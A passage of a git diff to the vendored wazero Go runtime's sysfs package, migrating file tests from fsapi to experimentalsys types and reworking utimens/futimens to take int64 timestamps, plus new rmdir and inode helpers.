requireRead(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Read(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePread(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePread(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pread(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) @@ -384,7 +404,7 @@ func TestFileRead_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -417,7 +437,7 @@ func TestFilePread_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -431,20 +451,20 @@ func TestFileRead_Errors(t *testing.T) { path := path.Join(t.TempDir(), emptyFile) // Open the file write-only - flag := fsapi.O_WRONLY | fsapi.O_CREAT + flag := experimentalsys.O_WRONLY | experimentalsys.O_CREAT f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := make([]byte, 5) tests := []struct { name string - fn func(fsapi.File) experimentalsys.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Read", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Read", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Read(buf) return errno }}, - {name: "Pread", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Pread", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pread(buf, 0) return errno }}, @@ -470,19 +490,19 @@ func TestFileSeek(t *testing.T) { tests := []struct { name string - openFile func(string) (fsapi.File, experimentalsys.Errno) + openFile func(string) (experimentalsys.File, experimentalsys.Errno) }{ - {name: "fsFile os.DirFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(dirFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile os.DirFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(dirFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "fsFile embed.api.FS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(embedFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile embed.api.FS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(embedFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "fsFile fstest.MapFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(mapFS, name, fsapi.O_RDONLY, 0) + {name: "fsFile fstest.MapFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(mapFS, name, experimentalsys.O_RDONLY, 0) }}, - {name: "osFile", openFile: func(name string) (fsapi.File, experimentalsys.Errno) { - return OpenOSFile(path.Join(tmpDir, name), fsapi.O_RDONLY, 0o666) + {name: "osFile", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenOSFile(path.Join(tmpDir, name), experimentalsys.O_RDONLY, 0o666) }}, } @@ -560,7 +580,7 @@ func TestFileSeek(t *testing.T) { require.Equal(t, direntCount, len(dirents)) }) - seekToZero := func(f fsapi.File) experimentalsys.Errno { + seekToZero := func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Seek(0, io.SeekStart) return errno } @@ -569,7 +589,7 @@ func TestFileSeek(t *testing.T) { } } -func requireSeek(t *testing.T, f fsapi.File, off int64, whence int) int64 { +func requireSeek(t *testing.T, f experimentalsys.File, off int64, whence int) int64 { n, errno := f.Seek(off, whence) require.EqualErrno(t, 0, errno) return n @@ -591,7 +611,7 @@ func TestFileSeek_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -614,7 +634,7 @@ func TestFileSeek_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -623,10 +643,10 @@ func TestFileSeek_Unsupported(t *testing.T) { } func TestFileWriteAndPwrite(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), wazeroFile) - f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() text := "wazero" @@ -663,36 +683,36 @@ func TestFileWriteAndPwrite(t *testing.T) { require.Equal(t, "wazerowazeroero", string(b)) } -func requireWrite(t *testing.T, f fsapi.File, buf []byte) { +func requireWrite(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Write(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePwrite(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePwrite(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pwrite(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } func TestFileWrite_empty(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), emptyFile) - f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, experimentalsys.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite from zero", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, - {name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite from 3", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 3) }}, } @@ -719,19 +739,19 @@ func TestFileWrite_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - // Use fsapi.O_RDWR so that it fails due to type not flags - f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, fsapi.O_RDWR, 0) + // Use sys.O_RDWR so that it fails due to type not flags + f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, experimentalsys.O_RDWR, 0) require.EqualErrno(t, 0, errno) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, experimentalsys.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) { + {name: "Pwrite", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, } @@ -756,20 +776,20 @@ func TestFileWrite_Errors(t *testing.T) { require.NoError(t, of.Close()) // Open the file read-only - flag := fsapi.O_RDONLY + flag := experimentalsys.O_RDONLY f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := []byte("wazero") tests := []struct { name string - fn func(fsapi.File) experimentalsys.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Write", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Write", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Write(buf) return errno }}, - {name: "Pwrite", fn: func(f fsapi.File) experimentalsys.Errno { + {name: "Pwrite", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pwrite(buf, 0) return errno }}, @@ -790,30 +810,30 @@ func TestFileWrite_Errors(t *testing.T) { } func TestFileSync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Sync) + testSync_NoError(t, experimentalsys.File.Sync) } func TestFileDatasync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Datasync) + testSync_NoError(t, experimentalsys.File.Datasync) } -func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { +func testSync_NoError(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { roPath := "file_test.go" - ro, errno := OpenFSFile(embedFS, roPath, fsapi.O_RDONLY, 0) + ro, errno := OpenFSFile(embedFS, roPath, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer ro.Close() rwPath := path.Join(t.TempDir(), "datasync") - rw, errno := OpenOSFile(rwPath, fsapi.O_CREAT|fsapi.O_RDWR, 0o600) + rw, errno := OpenOSFile(rwPath, experimentalsys.O_CREAT|experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) defer rw.Close() tests := []struct { name string - f fsapi.File + f experimentalsys.File }{ - {name: "UnimplementedFile", f: fsapi.UnimplementedFile{}}, - {name: "File of read-only fs.File", f: ro}, + {name: "UnimplementedFile", f: experimentalsys.UnimplementedFile{}}, + {name: "File of read-only FS.File", f: ro}, {name: "File of os.File", f: rw}, } @@ -827,20 +847,20 @@ func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) } func TestFileSync(t *testing.T) { - testSync(t, fsapi.File.Sync) + testSync(t, experimentalsys.File.Sync) } func TestFileDatasync(t *testing.T) { - testSync(t, fsapi.File.Datasync) + testSync(t, experimentalsys.File.Datasync) } // testSync doesn't guarantee sync works because the operating system may // sync anyway. There is no test in Go for syscall.Fdatasync, but closest is // similar to below. Effectively, this only tests that things don't error. -func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { +func testSync(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { // Even though it is invalid, try to sync a directory dPath := t.TempDir() - d := requireOpenFile(t, dPath, fsapi.O_RDONLY, 0) + d := requireOpenFile(t, dPath, experimentalsys.O_RDONLY, 0) defer d.Close() errno := sync(d) @@ -848,7 +868,7 @@ func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) { fPath := path.Join(dPath, t.Name()) - f := requireOpenFile(t, fPath, fsapi.O_RDWR|fsapi.O_CREAT, 0o600) + f := requireOpenFile(t, fPath, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() expected := "hello world!" @@ -929,7 +949,7 @@ func TestFileTruncate(t *testing.T) { }) } - truncateToZero := func(f fsapi.File) experimentalsys.Errno { + truncateToZero := func(f experimentalsys.File) experimentalsys.Errno { return f.Truncate(0) } @@ -965,11 +985,11 @@ func TestFileUtimens(t *testing.T) { testUtimens(t, true) - testEBADFIfFileClosed(t, func(f fsapi.File) experimentalsys.Errno { - return f.Utimens(nil) + testEBADFIfFileClosed(t, func(f experimentalsys.File) experimentalsys.Errno { + return f.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) - testEBADFIfDirClosed(t, func(d fsapi.File) experimentalsys.Errno { - return d.Utimens(nil) + testEBADFIfDirClosed(t, func(d experimentalsys.File) experimentalsys.Errno { + return d.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) } @@ -997,7 +1017,7 @@ func TestNewStdioFile(t *testing.T) { tests := []struct { name string - f fsapi.File + f experimentalsys.File // Depending on how the tests run, os.Stdin won't necessarily be a char // device. We compare against an os.File, to account for this. expectedType fs.FileMode @@ -1042,9 +1062,9 @@ func TestNewStdioFile(t *testing.T) { } } -func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEBADFIfDirClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if dir closed", func(t *testing.T) { - d := requireOpenFile(t, t.TempDir(), fsapi.O_RDONLY, 0o755) + d := requireOpenFile(t, t.TempDir(), experimentalsys.O_RDONLY, 0o755) // close the directory underneath require.EqualErrno(t, 0, d.Close()) @@ -1053,7 +1073,7 @@ func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errn }) } -func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEBADFIfFileClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if file closed", func(t *testing.T) { tmpDir := t.TempDir() @@ -1066,24 +1086,24 @@ func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Err }) } -func testEISDIR(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool { +func testEISDIR(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EISDIR if directory", func(t *testing.T) { - f := requireOpenFile(t, os.TempDir(), fsapi.O_RDONLY|fsapi.O_DIRECTORY, 0o666) + f := requireOpenFile(t, os.TempDir(), experimentalsys.O_RDONLY|experimentalsys.O_DIRECTORY, 0o666) defer f.Close() require.EqualErrno(t, experimentalsys.EISDIR, fn(f)) }) } -func openForWrite(t *testing.T, path string, content []byte) fsapi.File { +func openForWrite(t *testing.T, path string, content []byte) experimentalsys.File { require.NoError(t, os.WriteFile(path, content, 0o0666)) - f := requireOpenFile(t, path, fsapi.O_RDWR, 0o666) + f := requireOpenFile(t, path, experimentalsys.O_RDWR, 0o666) _, errno := f.Write(content) require.EqualErrno(t, 0, errno) return f } -func requireOpenFile(t *testing.T, path string, flag fsapi.Oflag, perm fs.FileMode) fsapi.File { +func requireOpenFile(t *testing.T, path string, flag experimentalsys.Oflag, perm fs.FileMode) experimentalsys.File { f, errno := OpenOSFile(path, flag, perm) require.EqualErrno(t, 0, errno) return f diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go index 4ed51a9fe9..f56439e081 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go @@ -13,6 +13,11 @@ const ( nonBlockingFileWriteSupported = true ) +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return sys.UnwrapOSError(err) +} + // readFd exposes syscall.Read. func readFd(fd uintptr, buf []byte) (int, sys.Errno) { if len(buf) == 0 { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go index eb8b5537fc..54e224bbf9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go @@ -2,13 +2,21 @@ package sysfs -import "github.com/tetratelabs/wazero/experimental/sys" +import ( + "os" + + "github.com/tetratelabs/wazero/experimental/sys" +) const ( nonBlockingFileReadSupported = false nonBlockingFileWriteSupported = false ) +func rmdir(path string) sys.Errno { + return sys.UnwrapOSError(os.Remove(path)) +} + // readFd returns ENOSYS on unsupported platforms. func readFd(fd uintptr, buf []byte) (int, sys.Errno) { return -1, sys.ENOSYS diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go index c07d2b92a1..3ad9648e65 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go @@ -81,3 +81,8 @@ func peekNamedPipe(handle syscall.Handle) (uint32, syscall.Errno) { 0) // [out, optional] LPDWORD lpBytesLeftThisMessage return totalBytesAvail, errno } + +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go index 9144126b61..1f670ca116 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go @@ -1,53 +1,14 @@ +//go:build linux || darwin + package sysfs import ( "syscall" - "time" "unsafe" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" + "github.com/tetratelabs/wazero/experimental/sys" ) -const ( - // UTIME_NOW is a special syscall.Timespec NSec value used to set the - // file's timestamp to a value close to, but not greater than the current - // system time. - UTIME_NOW = _UTIME_NOW - - // UTIME_OMIT is a special syscall.Timespec NSec value used to avoid - // setting the file's timestamp. - UTIME_OMIT = _UTIME_OMIT -) - -// Utimens set file access and modification times on a path resolved to the -// current working directory, at nanosecond precision. -// -// # Parameters -// -// The `times` parameter includes the access and modification timestamps to -// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be -// specified instead of real timestamps. A nil `times` parameter behaves the -// same as if both were set to UTIME_NOW. If the path is a symbolic link, the -// target of expanding that link is updated. -// -// # Errors -// -// A zero sys.Errno is success. The below are expected otherwise: -// - sys.ENOSYS: the implementation does not support this function. -// - sys.EINVAL: `path` is invalid. -// - sys.EEXIST: `path` exists and is a directory. -// - sys.ENOTDIR: `path` exists and is a file. -// -// # Notes -// -// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in -// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html -func Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - err := utimens(path, times) - return experimentalsys.UnwrapOSError(err) -} - func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused if times != nil { return unsafe.Pointer(×[0]) @@ -55,67 +16,22 @@ func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused return unsafe.Pointer(nil) } -func utimensPortable(path string, times *[2]syscall.Timespec) error { //nolint:unused - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - ts := nowTimespec() - return syscall.UtimesNano(path, []syscall.Timespec{ts, ts}) - } - +func timesToTimespecs(atim int64, mtim int64) (times *[2]syscall.Timespec) { // When both inputs are omitted, there is nothing to change. - if times[0].Nsec == UTIME_OMIT && times[1].Nsec == UTIME_OMIT { - return nil - } - - // Handle when neither input are special values - if times[0].Nsec != UTIME_NOW && times[1].Nsec != UTIME_NOW && - times[0].Nsec != UTIME_OMIT && times[1].Nsec != UTIME_OMIT { - return syscall.UtimesNano(path, times[:]) + if atim == sys.UTIME_OMIT && mtim == sys.UTIME_OMIT { + return } - // Now, either atim or mtim is a special value, but not both. - - // Now, either one of the inputs is a special value, or neither. This means - // we don't have a risk of re-reading the clock or re-doing stat. - if atim, err := normalizeTimespec(path, times, 0); err != 0 { - return err - } else if mtim, err := normalizeTimespec(path, times, 1); err != 0 { - return err + times = &[2]syscall.Timespec{} + if atim == sys.UTIME_OMIT { + times[0] = syscall.Timespec{Nsec: _UTIME_OMIT} + times[1] = syscall.NsecToTimespec(mtim) + } else if mtim == sys.UTIME_OMIT { + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.Timespec{Nsec: _UTIME_OMIT} } else { - return syscall.UtimesNano(path, []syscall.Timespec{atim, mtim}) - } -} - -func normalizeTimespec(path string, times *[2]syscall.Timespec, i int) (ts syscall.Timespec, err experimentalsys.Errno) { //nolint:unused - switch times[i].Nsec { - case UTIME_NOW: // declined in Go per golang/go#31880. - ts = nowTimespec() - return - case UTIME_OMIT: - // UTIME_OMIT is expensive until progress is made in Go, as it requires a - // stat to read-back the value to re-apply. - // - https://github.com/golang/go/issues/32558. - // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) - var st sys.Stat_t - if st, err = stat(path); err != 0 { - return - } - switch i { - case 0: - ts = syscall.NsecToTimespec(st.Atim) - case 1: - ts = syscall.NsecToTimespec(st.Mtim) - default: - panic("BUG") - } - return - default: // not special - ts = times[i] - return + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.NsecToTimespec(mtim) } -} - -func nowTimespec() syscall.Timespec { //nolint:unused - now := time.Now().UnixNano() - return syscall.NsecToTimespec(now) + return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go index a5663ede3c..88e4008f0a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go @@ -2,13 +2,14 @@ package sysfs import ( "syscall" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( _AT_FDCWD = -0x2 _AT_SYMLINK_NOFOLLOW = 0x0020 - _UTIME_NOW = -1 _UTIME_OMIT = -2 ) @@ -16,20 +17,25 @@ const ( //go:linkname utimensat syscall.utimensat func utimensat(dirfd int, path string, times *[2]syscall.Timespec, flags int) error -func utimens(path string, times *[2]syscall.Timespec) error { +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } var flags int - return utimensat(_AT_FDCWD, path, times, flags) + return experimentalsys.UnwrapOSError(utimensat(_AT_FDCWD, path, times, flags)) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } _p0 := timesToPtr(times) // Warning: futimens only exists since High Sierra (10.13). _, _, e1 := syscall_syscall6(libc_futimens_trampoline_addr, fd, uintptr(_p0), 0, 0, 0, 0) - if e1 != 0 { - return e1 - } - return nil + return experimentalsys.UnwrapOSError(e1) } // libc_futimens_trampoline_addr is the address of the diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go index 5008ca8140..3ec68537be 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go @@ -3,28 +3,38 @@ package sysfs import ( "syscall" "unsafe" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( _AT_FDCWD = -0x64 - _UTIME_NOW = (1 << 30) - 1 _UTIME_OMIT = (1 << 30) - 2 ) -func utimens(path string, times *[2]syscall.Timespec) (err error) { +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } + var flags int var _p0 *byte - _p0, err = syscall.BytePtrFromString(path) - if err != nil { - return + _p0, err := syscall.BytePtrFromString(path) + if err == nil { + err = utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) } - return utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) + return experimentalsys.UnwrapOSError(err) } // On linux, implement futimens via utimensat with the NUL path. -func futimens(fd uintptr, times *[2]syscall.Timespec) error { - return utimensat(int(fd), 0 /* NUL */, times, 0) +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } + return experimentalsys.UnwrapOSError(utimensat(int(fd), 0 /* NUL */, times, 0)) } // utimensat is like syscall.utimensat special-cased to accept a NUL string for the path value. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go index 2816cb84ee..c78a16b407 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go @@ -3,22 +3,14 @@ package sysfs import ( - "syscall" - "github.com/tetratelabs/wazero/experimental/sys" ) -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 -) - -func utimens(path string, times *[2]syscall.Timespec) error { - return utimensPortable(path, times) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Go exports syscall.Futimes, which is microsecond granularity, and // WASI tests expect nanosecond. We don't yet have a way to invoke the // futimens syscall portably. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go index 26d9c2a425..3a5289b70b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go @@ -2,24 +2,16 @@ package sysfs import ( "syscall" - "time" "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" ) -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 - SupportsSymlinkNoFollow = false -) - -func utimens(path string, times *[2]syscall.Timespec) error { - return utimensPortable(path, times) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Before Go 1.20, ERROR_INVALID_HANDLE was returned for too many reasons. // Kick out so that callers can use path-based operations instead. if !platform.IsAtLeastGo120 { @@ -27,9 +19,9 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error { } // Per docs, zero isn't a valid timestamp as it cannot be differentiated - // from nil. In both cases, it is a marker like syscall.UTIME_OMIT. + // from nil. In both cases, it is a marker like sys.UTIME_OMIT. // See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfiletime - a, w := timespecToFiletime(times) + a, w := timespecToFiletime(atim, mtim) if a == nil && w == nil { return nil // both omitted, so nothing to change @@ -42,32 +34,16 @@ func futimens(fd uintptr, times *[2]syscall.Timespec) error { return syscall.SetFileTime(h, nil, a, w) } -func timespecToFiletime(times *[2]syscall.Timespec) (a, w *syscall.Filetime) { - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - now := time.Now().UnixNano() - ft := syscall.NsecToFiletime(now) - return &ft, &ft - } - - // Now, either one of the inputs is current time, or neither. This - // means we don't have a risk of re-reading the clock. - a = timespecToFileTime(times, 0) - w = timespecToFileTime(times, 1) +func timespecToFiletime(atim, mtim int64) (a, w *syscall.Filetime) { + a = timespecToFileTime(atim) + w = timespecToFileTime(mtim) return } -func timespecToFileTime(times *[2]syscall.Timespec, i int) *syscall.Filetime { - if times[i].Nsec == UTIME_OMIT { +func timespecToFileTime(tim int64) *syscall.Filetime { + if tim == sys.UTIME_OMIT { return nil } - - var nsec int64 - if times[i].Nsec == UTIME_NOW { - nsec = time.Now().UnixNano() - } else { - nsec = syscall.TimespecToNsec(times[i]) - } - ft := syscall.NsecToFiletime(nsec) + ft := syscall.NsecToFiletime(tim) return &ft } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go new file mode 100644 index 0000000000..703f113660 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino.go @@ -0,0 +1,22 @@ +//go:build !windows && !plan9 + +package sysfs + +import ( + "io/fs" + "syscall" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { + switch v := info.Sys().(type) { + case *sys.Stat_t: + return v.Ino, 0 + case *syscall.Stat_t: + return v.Ino, 0 + default: + return 0, 0 + } +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go new file mode 100644 index 0000000000..9c669a475c --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_plan9.go @@ -0,0 +1,15 @@ +package sysfs + +import ( + "io/fs" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { + if v, ok := info.Sys().(*sys.Stat_t); ok { + return v.Ino, 0 + } + return 0, 0 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go new file mode 100644 index 0000000000..d163b3601e --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/ino_windows.go @@ -0,0 +1,28 @@ +package sysfs + +import ( + "io/fs" + "path" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" +) + +// 